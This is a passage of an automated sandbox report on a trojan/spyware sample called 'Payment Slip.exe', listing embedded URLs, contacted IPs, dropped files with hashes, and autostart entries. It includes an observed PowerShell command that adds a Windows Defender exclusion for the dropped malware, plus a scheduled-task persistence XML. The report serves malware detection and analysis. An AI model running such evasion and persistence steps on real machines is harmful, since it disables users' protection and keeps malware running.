                                                  http://www.fonts.comPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.sandoll.co.krPayment Slip.exe, 00000001.00000003.370475864.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370663697.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    http://www.fontbureau.com/designers/$Payment Slip.exe, 00000001.00000003.378483975.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.fontbureau.com/designerspPayment Slip.exe, 00000001.00000003.378613313.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://www.sakkal.comPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.fontbureau.com/designersnPayment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://www.fontbureau.comueedPayment Slip.exe, 00000001.00000003.382244412.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381558452.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381734558.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381649588.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.382377807.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381467642.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381962443.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381880102.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.382159289.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380790636.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          http://www.jiyu-kobo.co.jp/Y0MSPayment Slip.exe, 00000001.00000003.374818852.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375768530.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376169988.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.apache.org/licenses/LICENSE-2.0Payment Slip.exe, 00000001.00000003.372228924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.fontbureau.comPayment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378483975.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://www.fontbureau.comFPayment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.391559224.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380260943.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380316955.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379899373.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379986432.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379805969.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380111560.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380045205.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              http://www.agfamonotype.Payment Slip.exe, 00000001.00000003.387874415.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.388096585.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.388216287.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              http://www.carterandcone.comTCPayment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373838060.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://api.ipify.org%appdataRegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		low
                                                              http://www.jiyu-kobo.co.jp/jp/Payment Slip.exe, 00000001.00000003.374631146.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376596653.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377463854.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375095724.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377028013.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376909789.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376534760.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375928981.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376730482.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377226807.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377358985.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376467969.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374468136.00000000059AC000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.376807157.00000000059B3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.374683069.00000000059AF000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.377104955.00000000059B3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		unknown

                                                              World Map of Contacted IPs

                                                              • No. of IPs < 25%
                                                              • 25% < No. of IPs < 50%
                                                              • 50% < No. of IPs < 75%
                                                              • 75% < No. of IPs

                                                              Public IPs

                                                              IPDomainCountryFlagASNASN NameMalicious
                                                              206.189.39.129
                                                              		subnet-group.comUnited States
                                                              		14061DIGITALOCEAN-ASNUSfalse

                                                              General Information

                                                              Joe Sandbox Version:34.0.0 Boulder Opal
                                                              Analysis ID:635144
                                                              Start date and time: 27/05/202215:43:372022-05-27 15:43:37 +02:00
                                                              Joe Sandbox Product:CloudBasic
                                                              Overall analysis duration:0h 13m 21s
                                                              Hypervisor based Inspection enabled:false
                                                              Report type:light
                                                              Sample file name:Payment Slip.exe
                                                              Cookbook file name:default.jbs
                                                              Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                              Number of analysed new started processes analysed:29
                                                              Number of new started drivers analysed:0
                                                              Number of existing processes analysed:0
                                                              Number of existing drivers analysed:0
                                                              Number of injected processes analysed:0
                                                              Technologies:
                                                              • HCA enabled
                                                              • EGA enabled
                                                              • HDC enabled
                                                              • AMSI enabled
                                                              Analysis Mode:default
                                                              Analysis stop reason:Timeout
                                                              Detection:MAL
                                                              Classification:mal100.troj.adwa.spyw.evad.winEXE@13/13@2/1
                                                              EGA Information:
                                                              • Successful, ratio: 50%
                                                              HDC Information:
                                                              • Successful, ratio: 0.4% (good quality ratio 0.3%)
                                                              • Quality average: 67.7%
                                                              • Quality standard deviation: 37.8%
                                                              HCA Information:
                                                              • Successful, ratio: 100%
                                                              • Number of executed functions: 0
                                                              • Number of non-executed functions: 0
                                                              Cookbook Comments:
                                                              • Found application associated with file extension: .exe
                                                              • Adjust boot time
                                                              • Enable AMSI

                                                              Warnings

                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
                                                              • Excluded domains from analysis (whitelisted): fp-afd.azureedge.us, client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com, arc.msn.com, b-ring.msedge.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, login.live.com, fp-vp.azureedge.net, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net
                                                              • Execution Graph export aborted for target Tnpak.exe, PID 4712 because it is empty
                                                              • Execution Graph export aborted for target Tnpak.exe, PID 6504 because there are no executed function
                                                              • Not all processes where analyzed, report is missing behavior information
                                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                              • Report size getting too big, too many NtQueryValueKey calls found.

                                                              Simulations

                                                              Behavior and APIs

                                                              TimeTypeDescription
                                                              15:45:15API Interceptor1x Sleep call for process: Payment Slip.exe modified
                                                              15:45:22API Interceptor41x Sleep call for process: powershell.exe modified
                                                              15:45:27API Interceptor567x Sleep call for process: RegSvcs.exe modified
                                                              15:45:29AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Tnpak C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe
                                                              15:45:38AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Tnpak C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe

                                                              Joe Sandbox View / Context

                                                              IPs

                                                              ⊘No context

                                                              Domains

                                                              ⊘No context

                                                              ASNs

                                                              ⊘No context

                                                              JA3 Fingerprints

                                                              ⊘No context

                                                              Dropped Files

                                                              ⊘No context

                                                              Created / dropped Files

                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment Slip.exe.log

                                                              Download File
                                                              Process:C:\Users\user\Desktop\Payment Slip.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:modified
                                                              Size (bytes):1308
                                                              Entropy (8bit):5.345811588615766
                                                              Encrypted:false
                                                              SSDEEP:24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84FsXE8:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzu
                                                              MD5:2E016B886BDB8389D2DD0867BE55F87B
                                                              SHA1:25D28EF2ACBB41764571E06E11BF4C05DD0E2F8B
                                                              SHA-256:1D037CF00A8849E6866603297F85D3DABE09535E72EDD2636FB7D0F6C7DA3427
                                                              SHA-512:C100729153954328AA2A77EECB2A3CBD03CB7E8E23D736000F890B17AAA50BA87745E30FB9E2B0D61E16DCA45694C79B4CE09B9F4475220BEB38CAEA546CFC2A
                                                              Malicious:true
                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Tnpak.exe.log

                                                              Download File
                                                              Process:C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:modified
                                                              Size (bytes):142
                                                              Entropy (8bit):5.090621108356562
                                                              Encrypted:false
                                                              SSDEEP:3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
                                                              MD5:8C0458BB9EA02D50565175E38D577E35
                                                              SHA1:F0B50702CD6470F3C17D637908F83212FDBDB2F2
                                                              SHA-256:C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
                                                              SHA-512:804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
                                                              Malicious:false
                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):22220
                                                              Entropy (8bit):5.598416405598916
                                                              Encrypted:false
                                                              SSDEEP:384:7tMjDNC0MCS4zcZBrJiB+cNSgcjultI8M7nvfg3MdInIM0+afmAV7nFFbU5ZQvnk:ya4orrJiJgCltPI6vzt+pQ+k
                                                              MD5:A6027CDF276A099A8739DF0528C28F44
                                                              SHA1:3865B8255A12ABEF366B2D090896144181170712
                                                              SHA-256:3D2ED6FF72441042EC94D87744BA34BA775A5A4700307B46EB0EFBB3E2EA23B3
                                                              SHA-512:60D5AF72EB6B998F53B431D40A5FF0BF64C6FCED339298F4BD0CD7C71385BB6E48055382B1911264E26816D22A565EAC764F17623F38D26863187F33FD0D0D0D
                                                              Malicious:false
                                                              Preview:@...e...........m.......K............................@..........H...............<@.^.L."My...:X..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.4................Zg5..:O..g..q..........System.Xml..@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebmlx3xf.tvt.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:very short file (no magic)
                                                              Category:dropped
                                                              Size (bytes):1
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:U:U
                                                              MD5:C4CA4238A0B923820DCC509A6F75849B
                                                              SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                              SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                              SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                              Malicious:false
                                                              Preview:1

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_elgnyxrc.mld.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:very short file (no magic)
                                                              Category:dropped
                                                              Size (bytes):1
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:U:U
                                                              MD5:C4CA4238A0B923820DCC509A6F75849B
                                                              SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                              SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                              SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                              Malicious:false
                                                              Preview:1

                                                              C:\Users\user\AppData\Local\Temp\tmp62DF.tmp

                                                              Download File
                                                              Process:C:\Users\user\Desktop\Payment Slip.exe
                                                              File Type:XML 1.0 document, ASCII text
                                                              Category:dropped
                                                              Size (bytes):1609
                                                              Entropy (8bit):5.130936108723851
                                                              Encrypted:false
                                                              SSDEEP:24:2di4+S2qh/dp1Kd+y1modHUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtbxvn:cgeHMYrFdOFzOzN33ODOiDdKrsuTFv
                                                              MD5:4F71B2A301144D0F0AABC33B574291C0
                                                              SHA1:30C2ACBC4723C5689DEEF54D439610E67BB8C283
                                                              SHA-256:B67A6992B960F0056CA89D815CD15FA094503ED67DF1B0B708E516967F999F6E
                                                              SHA-512:F5920EBAFD9328D7D2B72CC7D2A4C39ECC273F8DBAE523A59E91F0D4E59FE8C88FE891F58EB2DE446201CC2C5D9B6D22399F494A44CDB77FCA7EE5562DA26298
                                                              Malicious:true
                                                              Preview:<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>computer\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>computer\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>computer\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvai

                                                              C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe

                                                              Download File
                                                              Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                              Category:modified
                                                              Size (bytes):45152
                                                              Entropy (8bit):6.149629800481177
                                                              Encrypted:false
                                                              SSDEEP:768:bBbSoy+SdIBf0k2dsYyV6Iq87PiU9FViaLmf:EoOIBf0ddsYy8LUjVBC
                                                              MD5:2867A3817C9245F7CF518524DFD18F28
                                                              SHA1:D7BA2A111CEDD5BF523224B3F1CFE58EEC7C2FDC
                                                              SHA-256:43026DCFF238F20CFF0419924486DEE45178119CFDD0D366B79D67D950A9BF50
                                                              SHA-512:7D3D3DBB42B7966644D716AA9CBC75327B2ACB02E43C61F1DAD4AFE5521F9FE248B33347DFE15B637FB33EB97CDB322BCAEAE08BAE3F2FD863A9AD9B3A4D6B42
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: Metadefender, Detection: 0%, Browse
                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...zX.Z..............0..d..........V.... ........@.. ..............................."....`.....................................O.......8............r..`>.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........|...P...........................................r...p(....*2.(....(....*z..r...p(....(....(......}....*..{....*.s.........*.0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t......*..0..(....... ....s$........o%....X..(....-..*.o&...*.0...........('......&.....*.*...................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

                                                              C:\Users\user\AppData\Roaming\aXqntX.exe

                                                              Download File
                                                              Process:C:\Users\user\Desktop\Payment Slip.exe
                                                              File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):762880
                                                              Entropy (8bit):7.756816368829058
                                                              Encrypted:false
                                                              SSDEEP:12288:A/sIP9M2S9bHoAUTvqVhe+TMAzsr4the/MNE/5xvI9TwDsRAbRdra6tpfmL1g3sG:SsIP99+bHo02Azhh8BqUIERaW+Bg3scT
                                                              MD5:29B03EB0F987F638B99EF23C8E3681AD
                                                              SHA1:174069AD27D00891343E794167ABF298CB5F3E5B
                                                              SHA-256:E799A969ECA8B72287A0B6A1B7015D6A47FA07E30D960B1A33B2E8178EFD80A8
                                                              SHA-512:055B7AED9075D4418ACE9CACDFCC82649114E172B550777BC9818EC7937D15DEEDE6168AF3EF80E29E50F970B2B2966BA5DC6517126DABBF48482DCB2C81FADC
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 20%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b..............0..H...Z......"f... ........@.. ....................................@..................................e..O........W...........................d............................................... ............... ..H............text...(F... ...H.................. ..`.rsrc....W.......X...J..............@..@.reloc..............................@..B.................f......H...........P.......`...P...H............................................0...........(.........%.}.....}....*....0............{........+..*..0..+...........,....{....-..+..{....}.....+....}.....*..0............(.......(.....+..*^..}.....(.......(.....*:..o....(....&*..0..+.........,..{.......+....,...{....o........(.....*..0................(....s......s....}.....s....}.....s....}.....s....}.....s....}.....s....}.....s....}.....s ...}.....{....o!.....(".....{.....o#.....{.....

                                                              C:\Users\user\AppData\Roaming\aXqntX.exe:Zone.Identifier

                                                              Download File
                                                              Process:C:\Users\user\Desktop\Payment Slip.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):26
                                                              Entropy (8bit):3.95006375643621
                                                              Encrypted:false
                                                              SSDEEP:3:ggPYV:rPYV
                                                              MD5:187F488E27DB4AF347237FE461A079AD
                                                              SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                              SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                              SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                              Malicious:false
                                                              Preview:[ZoneTransfer]....ZoneId=0

                                                              C:\Users\user\Documents\20220527\PowerShell_transcript.767668.AhQHPVla.20220527154520.txt

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):5813
                                                              Entropy (8bit):5.396033402338353
                                                              Encrypted:false
                                                              SSDEEP:96:BZU6UNgqDo1ZMZX6UNgqDo1ZotjljZMz6UNgqDo1ZaccVV8yZmj:h1Gjj
                                                              MD5:5CC59A0EAA44305BA4EB16BC9B126516
                                                              SHA1:B664DAD8957FC21CFF7461A3F95AF27629021504
                                                              SHA-256:B47A4901FFCD82E0FC5F434F08F7570053C0AFDC2349AC79A7B987E76A84F8F7
                                                              SHA-512:AAA9C07F8A9657342B09DEFDE8DB0A0015137717E9DF29641CE031216EAD46497E4945167B89E4BBA1FB19A5727983061D3EE5C556833A9BAC09CD2EDEBDA559
                                                              Malicious:false
                                                              Preview:.**********************..Windows PowerShell transcript start..Start time: 20220527154522..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 767668 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\aXqntX.exe..Process ID: 6564..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20220527154522..**********************..PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\aXqntX.exe..**********************..Windows PowerShell transcript start..Start time: 20220527154846..Username: computer\user..RunAs User: DESKTOP-

                                                              C:\Windows\System32\drivers\etc\hosts

                                                              Download File
                                                              Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):835
                                                              Entropy (8bit):4.694294591169137
                                                              Encrypted:false
                                                              SSDEEP:24:QWDZh+ragzMZfuMMs1L/JU5fFCkK8T1rTt8:vDZhyoZWM9rU5fFcP
                                                              MD5:6EB47C1CF858E25486E42440074917F2
                                                              SHA1:6A63F93A95E1AE831C393A97158C526A4FA0FAAE
                                                              SHA-256:9B13A3EA948A1071A81787AAC1930B89E30DF22CE13F8FF751F31B5D83E79FFB
                                                              SHA-512:08437AB32E7E905EB11335E670CDD5D999803390710ED39CBC31A2D3F05868D5D0E5D051CCD7B06A85BB466932F99A220463D27FAC29116D241E8ADAC495FA2F
                                                              Malicious:true
